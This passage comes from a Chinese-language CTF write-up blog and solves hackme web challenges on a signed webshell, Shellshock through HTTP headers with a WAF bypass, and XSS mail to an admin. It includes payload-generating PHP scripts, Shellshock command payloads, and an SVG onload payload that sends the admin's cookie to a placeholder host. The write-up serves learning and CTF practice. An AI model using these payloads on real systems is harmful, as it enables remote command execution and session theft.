 2qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS
 3H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I
 4qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM
 5nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx
 6/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx
 7cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX
 8sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00
 9TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe
10A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi
11STW8OO9t13k2/7r+He8BfU")))));
  • str_rot13():Perform the rot13 transform on a string
  • base64_decode():Decodes data encoded with MIME base64
  • gzinflate():Inflate a deflated string
  • strrev():Reverse a string
  • eval():Evaluate a string as PHP code

(好拉其實你只要把 eval 改成 echo 就可以輸出原始碼)

Decode:

 1function run() { 
 2 if(isset($_GET['cmd']) && isset($_GET['sig'])) { 
 3  $cmd = hash('SHA512', $_SERVER['REMOTE_ADDR']) ^ (string)$_GET['cmd']; 
 4  $key = $_SERVER['HTTP_USER_AGENT'] . sha1($_SERVER['HTTP_HOST']); 
 5  $sig = hash_hmac('SHA512', $cmd, $key); 
 6  if($sig === (string)$_GET['sig']) { 
 7   header('Content-Type: text/plain'); 
 8   return !!system($cmd); 
 9  } 
10 } 
11 return false; 
12} 
13
14function fuck() { 
15 print(str_repeat("\n", 4096)); 
16 readfile($_SERVER['SCRIPT_FILENAME']); 
17} 
18
19run() ?: fuck(); 

這支程式的流程很簡單,主要是傳入兩個GET,分別是代表要執行的指令cmd以及該指令的簽章sig
但這個cmd並不是直接被執行,而是拿去跟經過sha512雜湊後的$_SERVER['REMOTE_ADDR']XOR運算。($_SERVER['REMOTE_ADDR']就是自己的IP)

cmd的簽章是經過hmac(sha512)運算,使用的key則是由$_SERVER['HTTP_USER_AGENT']接著sha1($_SERVER['HTTP_HOST'])組成,意思是http user agent接著domain
比對完簽章正確後,就會執行該命令,但執行的是經過XOR運算後的命令。

所以這題目的很明顯,就是要你讓傳入的cmd字串經過XOR運算後,變成要執行的指令。

我們需要先將我們要執行的命令與hash('SHA512', $_SERVER['REMOTE_ADDR'])經過XOR運算回去,再把結果作為cmd傳入,讓伺服器運算回指令。


寫個腳本幫助使用吧(把$ip變數改成自己的公開ip):

 1<?php
 2$cmd = 'ls';
 3
 4$domain = 'webshell.hackme.quest';
 5$ip = 'You-Public-Ip';
 6
 7$key = $_SERVER['HTTP_USER_AGENT'] . sha1($domain);
 8$_GET['cmd'] = hash('SHA512', $ip) ^ $cmd;
 9$_GET['sig'] = hash_hmac('SHA512', $cmd, $key);
10
11$cmd = urlencode($_GET['cmd']);
12$sig = urlencode($_GET['sig']);
13echo "https://$domain/?cmd=$cmd&sig=$sig";

輸出的那段網址就會是payload,訪問之後可以看到如下資訊,看起來有成功執行「ls」。

既然看到flag這個檔案了,那就直接cat它:

 1<?php
 2$cmd = 'cat flag';
 3
 4$domain = 'webshell.hackme.quest';
 5$ip = 'You-Public-Ip';
 6
 7$key = $_SERVER['HTTP_USER_AGENT'] . sha1($domain);
 8$_GET['cmd'] = hash('SHA512', $ip) ^ $cmd;
 9$_GET['sig'] = hash_hmac('SHA512', $cmd, $key);
10
11$cmd = urlencode($_GET['cmd']);
12$sig = urlencode($_GET['sig']);
13echo "https://$domain/?cmd=$cmd&sig=$sig";

然後你就被耍了$%^&*

看看隱藏檔案:

 1<?php
 2$cmd = 'ls -al';
 3
 4$domain = 'webshell.hackme.quest';
 5$ip = 'You-Public-Ip';
 6
 7$key = $_SERVER['HTTP_USER_AGENT'] . sha1($domain);
 8$_GET['cmd'] = hash('SHA512', $ip) ^ $cmd;
 9$_GET['sig'] = hash_hmac('SHA512', $cmd, $key);
10
11$cmd = urlencode($_GET['cmd']);
12$sig = urlencode($_GET['sig']);
13echo "https://$domain/?cmd=$cmd&sig=$sig";

發現可疑的檔案「.htflag」,cat它:

 1<?php
 2$cmd = 'cat .htflag';
 3
 4$domain = 'webshell.hackme.quest';
 5$ip = 'You-Public-Ip';
 6
 7$key = $_SERVER['HTTP_USER_AGENT'] . sha1($domain);
 8$_GET['cmd'] = hash('SHA512', $ip) ^ $cmd;
 9$_GET['sig'] = hash_hmac('SHA512', $cmd, $key);
10
11$cmd = urlencode($_GET['cmd']);
12$sig = urlencode($_GET['sig']);
13echo "https://$domain/?cmd=$cmd&sig=$sig";

Bingo:

Flag FLAG{Webshell? I only know sea shell~!}


37. command-executor
#

Here’s my useless developer assistant website, try to execute your own command!

可以在上面的「List files」中看到當前目錄底下的檔案:

嘗試一下後會發現,似乎能用的指令都在這邊了。
猜測可能是輸入指令後,會嘗試去找有沒有「指令.php」檔案,然後引入。

既然有引入的動作,那可能就有LFI,用解第17題的技巧來解這題:

index.php?func=php://filter/read=convert.base64-encode/resource=index

成功拿到index.php的原始碼:

PD9waHAKJHBhZ2VzID0gWwogICAgWydtYW4nLCAnTWFuJ10sCiAgICBbJ3VudGFyJywgJ1RhciBUZXN0ZXInXSwKICAgIFsnY21kJywgJ0NtZCBFeGVjJ10sCiAgICBbJ2xzJywgJ0xpc3QgZmlsZXMnXSwKXTsKCmZ1bmN0aW9uIGZ1Y2soJG1zZykgewogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsKICAgIGVjaG8gJG1zZzsKICAgIGV4aXQ7Cn0KCiRibGFja19saXN0ID0gWwogICAgJ1wvZmxhZycsICdcKFwpXHMqXHtccyo6O1xzKlx9OycKXTsKCmZ1bmN0aW9uIHdhZigkYSkgewogICAgZ2xvYmFsICRibGFja19saXN0OwogICAgaWYoaXNfYXJyYXkoJGEpKSB7CiAgICAgICAgZm9yZWFjaCgkYSBhcyAka2V5ID0+ICR2YWwpIHsKICAgICAgICAgICAgd2FmKCRrZXkpOwogICAgICAgICAgICB3YWYoJHZhbCk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBmb3JlYWNoKCRibGFja19saXN0IGFzICRiKSB7CiAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIi8kYi8iLCAkYSkgPT09IDEpIHsKICAgICAgICAgICAgICAgIGZ1Y2soIiRiIGRldGVjdGVkISBleGl0IG5vdy4iKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQoKd2FmKCRfU0VSVkVSKTsKd2FmKCRfR0VUKTsKd2FmKCRfUE9TVCk7CgpmdW5jdGlvbiBleGVjdXRlKCRjbWQsICRzaGVsbD0nYmFzaCcpIHsKICAgIHN5c3RlbShzcHJpbnRmKCclcyAtYyAlcycsICRzaGVsbCwgZXNjYXBlc2hlbGxhcmcoJGNtZCkpKTsKfQoKZm9yZWFjaCgkX1NFUlZFUiBhcyAka2V5ID0+ICR2YWwpIHsKICAgIGlmKHN1YnN0cigka2V5LCAwLCA1KSA9PT0gJ0hUVFBfJykgewogICAgICAgIHB1dGVudigiJGtleT0kdmFsIik7CiAgICB9Cn0KCiRwYWdlID0gJyc7CgppZihpc3NldCgkX0dFVFsnZnVuYyddKSkgewogICAgJHBhZ2UgPSAkX0dFVFsnZnVuYyddOwogICAgaWYoc3Ryc3RyKCRwYWdlLCAnLi4nKSAhPT0gZmFsc2UpIHsKICAgICAgICAkcGFnZSA9ICcnOwogICAgfQp9CgppZigkcGFnZSAmJiBzdHJsZW4oJHBhZ2UpID4gMCkgewogICAgdHJ5IHsKICAgICAgICBpbmNsdWRlKCIkcGFnZS5waHAiKTsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgfQp9CgpmdW5jdGlvbiByZW5kZXJfZGVmYXVsdCgpIHsgPz4KPHA+V2VsY29tZSB0byB1c2Ugb3VyIGRldmVsb3BlciBhc3Npc3RhbnQgc2VydmljZS4gV2UgcHJvdmlkZSBzZXJ2aWFsIHVzZWxlc3MgZmVhdHVyZXMgdG8gbWFrZSB5b3VyIGRldmVsb3BpbmcgbGlmZSBoYXJkZXIuPC9wPgoKPGltZyBzcmM9IndpbmRvd3MtcnVuLmpwZyIgYWx0PSJjb21tYW5kIGV4ZWN1dG9yIj4KPD9waHAgfQo/PjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8dGl0bGU+Q29tbWFuZCBFeGVjdXRvcjwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImJvb3RzdHJhcC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiIG1lZGlhPSJhbGwiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjb21pYy1uZXVlL2ZvbnQuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDxzdHlsZT4KICAgICAgbmF2IHsgbWFyZ2luLWJvdHRvbTogMXJlbTsgfQogICAgICBpbWcgeyBtYXgtd2lkdGg6IDEwMCU7IH0KICAgIDwvc3R5bGU+CiAgPC9oZWFkPgogIDxib2R5PgogICAgPG5hdiBjbGFzcz0ibmF2YmFyIG5hdmJhci1leHBhbmQtbGcgbmF2YmFyLWRhcmsgYmctZGFyayBkLWZsZXgiPgogICAgICA8YSBjbGFzcz0ibmF2YmFyLWJyYW5kIiBocmVmPSJpbmRleC5waHAiPkNvbW1hbmQgRXhlY3V0b3I8L2E+CgogICAgICA8dWwgY2xhc3M9Im5hdmJhci1uYXYiPgo8P3BocCBmb3JlYWNoKCRwYWdlcyBhcyBsaXN0KCRmaWxlLCAkdGl0bGUpKTogPz4KICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iaW5kZXgucGhwP2Z1bmM9PD89JGZpbGU/PiI+PD89JHRpdGxlPz48L2E+CiAgICAgICAgPC9saT4KPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgPC91bD4KICAgIDwvbmF2PgoKICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+PD9waHAgaWYoaXNfY2FsbGFibGUoJ3JlbmRlcicpKSByZW5kZXIoKTsgZWxzZSByZW5kZXJfZGVmYXVsdCgpOyA/PjwvZGl2PgogIDwvYm9keT4KPC9odG1sPgo= 

Decode

 1<?php
 2$pages = [
 3    ['man', 'Man'],
 4    ['untar', 'Tar Tester'],
 5    ['cmd', 'Cmd Exec'],
 6    ['ls', 'List files'],
 7];
 8
 9function fuck($msg) {
10    header('Content-Type: text/plain');
11    echo $msg;
12    exit;
13}
14
15$black_list = [
16    '\/flag', '\(\)\s*\{\s*:;\s*\};'
17];
18
19function waf($a) {
20    global $black_list;
21    if(is_array($a)) {
22        foreach($a as $key => $val) {
23            waf($key);
24            waf($val);
25        }
26    } else {
27        foreach($black_list as $b) {
28            if(preg_match("/$b/", $a) === 1) {
29                fuck("$b detected! exit now.");
30            }
31        }
32    }
33}
34
35waf($_SERVER);
36waf($_GET);
37waf($_POST);
38
39function execute($cmd, $shell='bash') {
40    system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
41}
42
43foreach($_SERVER as $key => $val) {
44    if(substr($key, 0, 5) === 'HTTP_') {
45        putenv("$key=$val");
46    }
47}
48
49$page = '';
50
51if(isset($_GET['func'])) {
52    $page = $_GET['func'];
53    if(strstr($page, '..') !== false) {
54        $page = '';
55    }
56}
57
58if($page && strlen($page) > 0) {
59    try {
60        include("$page.php");
61    } catch (Exception $e) {
62    }
63}
64
65function render_default() { ?>
66<p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p>
67
68<img src="windows-run.jpg" alt="command executor">
69<?php }
70?><!DOCTYPE html>
71<html lang="en">
72  <head>
73    <meta charset="UTF-8">
74    <title>Command Executor</title>
75    <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
76    <link rel="stylesheet" href="comic-neue/font.css" media="all">
77    <style>
78      nav { margin-bottom: 1rem; }
79      img { max-width: 100%; }
80    </style>
81  </head>
82  <body>
83    <nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
84      <a class="navbar-brand" href="index.php">Command Executor</a>
85
86      <ul class="navbar-nav">
87<?php foreach($pages as list($file, $title)): ?>
88        <li class="nav-item">
89          <a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a>
90        </li>
91<?php endforeach; ?>
92      </ul>
93    </nav>
94
95    <div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
96  </body>
97</html>

可以在上面看到一段 code:

1foreach($_SERVER as $key => $val) {
2    if(substr($key, 0, 5) === 'HTTP_') {
3        putenv("$key=$val");
4    }
5}

會將所有$_SERVER$keyHTTP_開頭的值都放進putenv()這個 function。
(如果你不知道 PHP 中的$_SERVER是什麼,建議先了解再繼續往下看)

我們是不是可以利用這點,想辦法塞入符合它條件的$_SERVER中的值,使其通過putenv()

這題其實是在講CVE-2014-6271這個嚴重的漏洞,又稱「Shellshock」。


至於 payload 的解釋這邊不贅述,網路上已經充斥許多關於講解CVE-2014-6271的文章可供參考。

可以透過「() { :; }; echo "injected"」來使bash執行到echo "injected",當然也可以換成其他更有攻擊性的語法。

透過index.php?func=ls&file=/可以看到根目錄底下的檔案:

 1total 88
 2drwxr-xr-x   2 root root 4096 Jan 19  2018 bin
 3drwxr-xr-x   2 root root 4096 Apr 12  2016 boot
 4drwxr-xr-x   5 root root  340 Jan  5 14:34 dev
 5drwxr-xr-x  85 root root 4096 Jan 19  2018 etc
 6-r--------   1 flag root   37 Jan  9  2018 flag # flag 在這
 7-rwsr-xr-x   1 flag root 9080 Jan 19  2018 flag-reader # 奇怪的檔案
 8-rw-r--r--   1 root root  653 Jan  9  2018 flag-reader.c # 疑似奇怪檔案的原始碼
 9drwxr-xr-x   2 root root 4096 Apr 12  2016 home
10-rwxr-xr-x   1 root root  100 Jan  9  2018 init
11drwxr-xr-x  12 root root 4096 Jan 19  2018 lib
12drwxr-xr-x   2 root root 4096 Jan 19  2018 lib64
13drwxr-xr-x   2 root root 4096 May  3  2016 media
14drwxr-xr-x   2 root root 4096 May  3  2016 mnt
15drwxr-xr-x   2 root root 4096 May  3  2016 opt
16dr-xr-xr-x 386 root root    0 Jan  5 14:34 proc
17drwx------   2 root root 4096 Feb 16  2018 root
18drwxr-xr-x   6 root root 4096 Feb 17  2019 run
19drwxr-xr-x   2 root root 4096 Jan 19  2018 sbin
20drwxr-xr-x   2 root root 4096 May  3  2016 srv
21dr-xr-xr-x  13 root root    0 Jan  5 14:34 sys
22drwxrwx-wt   2 root root 4096 Feb  3 14:12 tmp
23drwxr-xr-x  19 root root 4096 Feb 16  2018 usr
24drwxr-xr-x  22 root root 4096 Jan 23  2018 var

看來flag又是無法直接讀取,但應該能透過執行flag-reader來讀取flag
開始嘗試在 request 中把 payload 塞進 header:

個人習慣使用burp,請自行選擇方便使用的軟體來抓取封包:

塞入測試用的自訂檔頭X-Hacker其值為() { :; }; echo "testing"

似乎被擋下來了,再回過頭去 view source code:

 1$black_list = [
 2    '\/flag', '\(\)\s*\{\s*:;\s*\};'
 3];
 4
 5function waf($a) {
 6    global $black_list;
 7    if(is_array($a)) {
 8        foreach($a as $key => $val) {
 9            waf($key);
10            waf($val);
11        }
12    } else {
13        foreach($black_list as $b) {
14            if(preg_match("/$b/", $a) === 1) {
15                fuck("$b detected! exit now.");
16            }
17        }
18    }
19}
20
21waf($_SERVER);

要想辦法繞過'\(\)\s*\{\s*:;\s*\};'
但其實…這樣的防禦有跟沒有一樣,你只需要塞個空格給它,就繞過了。
把值改成() { : ; }; echo "testing"就成功執行了。


到此已經拿到了 shell,但要怎麼把flag讀取並輸出?
由於權限不夠,無法直接cat,那麼先看看flag-reader.c裡頭到底寫了什麼。

payload「() { : ; }; cat /flag-reader.c」:

跟前面一樣被擋下,但這並沒有意義,直接繞過即可。
嘗試「() { : ; }; cat /fla?-reader.c」卻發現什麼也沒執行,不知道為什麼無法直接輸入cat指令,但還是可以透過/bin/cat來執行。

所以 payload 改成「() { : ; }; /bin/cat /fla?-reader.c」。

flag-reader.c

 1#include <unistd.h>
 2#include <syscall.h>
 3#include <fcntl.h>
 4#include <string.h>
 5
 6int main(int argc, char *argv[])
 7{
 8 char buff[4096], rnd[16], val[16];
 9 if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
10  write(1, "Not enough random\n", 18);
11 }
12
13 setuid(1337);
14 seteuid(1337);
15 alarm(1);
16 write(1, &rnd, sizeof(rnd));
17 read(0, &val, sizeof(val));
18
19 if(memcmp(rnd, val, sizeof(rnd)) == 0) {
20  int fd = open(argv[1], O_RDONLY);
21  if(fd > 0) {
22   int s = read(fd, buff, 1024);
23   if(s > 0) {
24    write(1, buff, s);
25   }
26   close(fd);
27  } else {
28   write(1, "Can not open file\n", 18);
29  }
30 } else {
31  write(1, "Wrong response\n", 16);
32 }
33}

一開始程式會有三個變數,分別是buff[4096]rnd[16]val[16]
接著會開始生成隨機數並寫進rnd記憶體地址。

之後就調用了setuid()seteuid()把使用者設定為1337

我們可以用「() { : ; }; /bin/cat /etc/passwd」來查看passwd

1root:x:0:0:root:/root:/bin/bash
2.
3.
4.
5flag:x:1337:1337::/home/flag:

會發現 id 1337正是/flag這個檔案的擁有者,也叫做flag

接著會將執行write(1, &rnd, sizeof(rnd))產生的亂數輸出。
但接著下一行馬上執行read(0, &val, sizeof(val))讀取val
之後就判斷rndval是否相等,如果相等才會讀取檔案。

也就是說… 你需要在它輸出的一瞬間,將值輸入val

這裡提供一個方法,就是用檔案來重定向read取代原本的val,只需要program > file < file這樣的格式即可。

shell中,有幾種方式可以來針對輸出入做重定向。

  • >輸出重定向,例如echo "test" > file,原本的echo會將結果輸出到螢幕上(&1),但因為我們使用>來重新指定輸出到file,所以結果將會改成寫入file而非顯示在螢幕。
  • >>append的方式輸出重定向,例如echo "test" >> file,則會在file後方加上test,而非覆蓋整個檔案。
  • <輸入重定向,舉例有個程式正在等待使用者輸入,你可以使用program < file來自動的輸入file中的內容。它將原本等待使用者的輸入給定向到file

它們是可以混合運用的,舉例program < input > output表示將program輸入重新定向到input中,並將輸出重定向到output

了解這些後可以開始嘗試了。

由於大部分目錄都沒有寫入權限,所以寫在/var/tmp中吧(大多時候這邊是可寫的):
payload:() { : ; }; cd /; fla?-reader fla? > /var/tmp/abc < /var/tmp/abc

接著你可以在/var/tmp/中看到你重新定向輸出所寫入的檔案abc(居然也看得到別人的,還被 XSS = =):

之後再() { : ; }; cd /; /bin/cat /var/tmp/abc即可查看輸出內容:

前面的亂碼是隨機產生的亂數所組成的,有些是不可視字元,但足以看到後方的 flag 了。

Flag FLAG{W0w U sh0cked m3 by 5h3115h0ck}


38. xssme
#

XSS admin to steal flag

點擊右上角的register後,可以看到這些欄位:

可以看到密碼寫著「Your login password, will NOT be protected properly.」,也就是說會以明文的方式存放。
不確定這裡算不算攻擊點,總之先註冊一個帳號試試。

註冊完後登入,可以看到上方多了幾個功能:

看來就是需要寄送一封帶有XSS的信件給管理員了,點擊Send Mail,先嘗試寄送一則測試郵件:

下方只是個模擬驗證功能,按下「I'm a robot」即可。(我還以為是題目)

可以在「Sent Mail」看到已送出的信件:


開始隨便嘗試一些語法:

發現「)」與「onerror」都被擋了,後續也嘗試許多都被阻擋。
但仔細看可以發現,它所阻擋的並非是onerror,而是前面有多個空格。

我們可以在前方加個斜線/取代空格,這算是一個html的特性,同理onload也是如此。


我們的目的是獲得管理員的身份,偷取他的session
我們可以自己架設伺服器來接收等等xss讓管理員送出的請求,又或者線上有許多服務可以幫你代收請求。
(例子所使用的服務是hookb.in)

經過嘗試後,發現可用的 payload 如下(https://your-server.com為用於接收及紀錄請求的伺服器):

1<svg/onload="self.location='https://your-server.com/?x='+document.cookie">

接著等待管理者打開信件,在 server 上就可以收到請求「x: PHPSESSID=8atmu7fv1qee87g0vckelq13o3; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS」。

Flag FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}


Alpaca
作者
Alpaca
No one can stop my feet.

相關文章

Change root password in MySQL 8
·136 字
Computer-Science MySQL

Change the password of root in mysql version 8

Ubuntu 更換 /Home 到新硬碟
·1364 字
Computer-Science Ubuntu Disk

如果發現當初掛載好的空間不夠用了,那麼擴充硬碟上去,然後照著步驟一步步的將檔案們搬家吧。

How to use PPPoE to connect network on Ubuntu?
·353 字
Computer-Science Ubuntu PPPoE

在 Ubuntu 用 PPPoE 連線中華電信固定 IP。

Build a FTP Server with 「vsftpd」
·343 字
Computer-Science FTP

How to build the FTP Server quicly with 「vsftpd」?

Raspberry Pi 4 (Ubuntu) configure auto connect to wifi
·142 字
Computer-Science Raspberry PI Wi-Fi Ubuntu

How to make ubuntu auto connect to wifi in raspberry pi 4?

非對稱加密 (Asymmetric Cryptography)
·1223 字
Computer-Science Cryptography Digital Signature

這次提到的概念是比上次的「 Symmetric Cryptography 」來的更進階的「 Asymmetric Cryptography (非對稱加密) 」,其概念被廣泛運用在數位簽章